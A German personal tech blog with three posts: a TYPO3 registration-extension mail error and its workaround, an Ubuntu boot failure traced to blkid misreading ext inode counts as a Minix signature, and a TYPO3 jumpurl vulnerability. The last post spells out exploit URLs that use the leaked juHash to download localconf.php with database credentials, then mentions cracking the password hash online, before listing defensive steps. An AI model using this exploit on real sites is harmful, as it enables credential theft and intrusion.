Die Anmeldung mit der Extension feuser_register haute nicht mehr hin. Es gab nur in der Logdatei eine Fehlermeldung:

Core: Exception handler (WEB): Uncaught TYPO3 Exception: #1294681467: Validation failed for: domain.de <Klaus.Test@domain.de> | Exception thrown in file /srv/www/htdocs/typo3_src-4.5.6/t3lib/mail/class.t3lib_mail_rfc822addressesparser.php in line 184

Es finden sich hierzu mehrere Problembeschreibungen im Web. Anscheinend ist es so, dass die Typo3-Programmierer mit ihrem Code im Recht sind aber zu pingelig und dadurch viele Extensions nicht mehr funktionieren, die sich nicht so genau an die Regeln halten. Solche ärgerlichen Dinge gibt es leider immer wieder. Für eine Lösung müssen wir wohl auf eine Aktualisierung von sr_feuser_register warten.

Geholfen hat mir der Text http://www.typo3.net/forum/beitraege//103507/ hiernach ist zumindest ein Workaround:

Ich habe im Installtool folgende Einstellung vorgenommen:

[MAIL][substituteOldMailAPI] = 0

 

 

Veröffentlicht unter typo3.

Heute hatte ich etwas Stress mit meinem Ubuntu-9.10 System.  Der Rechner wollte nicht booten und lieferte nach dem Boot-Menü die Fehlermeldung

Gave up waiting for root device. Common problems
- Boot args (cat /proc/cmd/line)
  - Check rootdelay= (did the system wait long enough?)
  - Check root= (did the system wait the right device?)
- Missing modules (cat /proc/modules;ls /dev)
Alert! /dev/disk/by-uuid/xxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx does not exist

Da sowohl bei Grub2, als auch in der fstab alle Partitionen per UUID angesprochen wurden ein ernsthaftes Problem. Als ich ein Testsystem von Ubuntu 10.04 gestartet habe war die Partition auch per UUID erreichbar und keine Fehler auf der Festplatte erkennbar.

Ich habe den Rechner dann mit einer Grub-Shell erfolgreich starten können mittels:

set root=(hd0,6)
linux  /vmlinuz  root=/dev/sda6
initrd  /initrd.img
boot

Das System startete auf diese Art. Es war dann aber wirklich die Partition sda6 nicht per UUID erreichbar.  In /dev/disk/by-uuid fehlte der Link auf die Partition und

blkid

lieferte Informationen über alle Partitionen außer sda6. Mittels

blkid -p /dev/sda6

kann man Informationen erzwingen, aber hier kam nur ein Hinweis auf verschiedene Partitionstypen.

ambivalent result (probably more filesystems on the device)

Es scheint sich hierbei um ein unglückliches Zusammenspiel mehrerer normalerweise unauffälliger Fehler zu handeln, zumindest unter 10.04 tritt das Problem so nicht auf. Eine Beschreibung habe ich dann unter http://www.mail-archive.com/ubuntu-bugs@lists.ubuntu.com/msg2057379.html gefunden.

Minix uses the "magic number" 137f, 138f, 2468,2478,  at  the location 0x410   to mark a Minix file system.
- 0x410 is also the location any ext filesystem uses to record the number of free inodes.
- (The number of free inodes is essentially the number of files you are still able to create on the file system)
+ 0x410 is also the location any ext filesystem uses to record the number
+ of free inodes.

  In  decimals  those four umbers are  4991,5007,9320,9336

  If the number of free inodes happens to  be one of those four numbers plus a multiple of 65536,
  then  the  ext filesystem will write  one of the four  Minix magic numbers  to the 0x410 location.

Bei einer unglücklichen Zahl von freien Inodes in der Partition lässt sich blkid irritieren und die Informationen z.B. über die ID werden nicht richtig gelesen.

Die Lösung ist im Prinzip einfach. Man muss nur einen einzigen zusätzlichen Inode belegen oder freigeben. Mein System hätte ich also nur rebooten müssen, ich hatte es ja zum Laufen gebracht und damit die Zahl der Inodes verändert.

Da unklar ist, wann dieses Problem mal wieder auftritt habe ich lieber von UUID auf Devices umgestellt. Dazu muss man einerseits die /etc/fstab umstellen, die notwendigen Informationen finden sich dort aber als Kommentare. Dann muss man die Grub2-Konfiguration umstellen.

Am Ende der Datei /etc/default/grub muss man ein Kommentarzeichen entfernen, damit GRUB_DISABLE_LINUX_UUID=true aktiv wird

# Uncomment if you don't want GRUB to pass "root=UUID=xxx" parameter to Linux
GRUB_DISABLE_LINUX_UUID=true

# Uncomment to disable generation of recovery mode menu entrys
#GRUB_DISABLE_LINUX_RECOVERY="true"

Nun noch die Konfiguration neu erzeugen lassen mittels:

update-grub

und dann steht einem Reboot nichts mehr im Wege. Das Ändern der /etc/default/grub ist nicht mal unbedingt notwendig, da update-grub die Partition perr UUID nicht findet und dann von sich aus mit den Device-Bezeichnungen arbeitet.

Bei der Recherche zu diesem Problem habe ich zusätzlich gelernt, dass die UUID per tune2fs und per mkfs gesetzt werden kann.

Es gibt einen Fehler in allen Typo3-Versionen, die älter sind als eine Woche (siehe http://www.heise.de/security/news/meldung/132475). Der Fehler ist so billig auszunutzen, dass dringend alle Seiten aktualisiert werden müssen. Der Mechanismus ist so blöd wie einfach.

Man übergibt einem Typo3-System eine URL der Art:

http://meine-typo3domain.de/?jumpurl=typo3conf/localconf.php&juSecure=1&type=0&locationData=1:

Im Prinzip dfordert man hier die Datei localconf.php zum Download an.  Typo3 beschwert sich

jumpurl Secure: Calculated juHash, d29a901ee3, did not match the submitted juHash.

gibt dabei den Hash an, den es erwartet. Dann erweitert man die URL eben entsprechend:

http://meine-typo3domain.de/?jumpurl=typo3conf/localconf.php&juSecure=1&type=0&locationData=1:&juHash=d29a901ee3

Schon startet der Download der localconf.php. In der Datei findet man dann die Zugangsdaten für die Datenbank und den Hash vom Passwort für das Install-Tool.

Damit kann man dann schon etwas anfangen, den Hash kann man an einige Hacker-Seiten übergeben, die solche Hashes sammeln und ggf. das Passwort liefern können:

Konsequenzen:

  • Install-Tool unbedingt disabeln
  • sichere Passwörter setzen (den Hash testen s.o.)
  • immer neueste Typo3-Version nutzen
  • Zugriffe auf die Datenbank nur lokal erlauben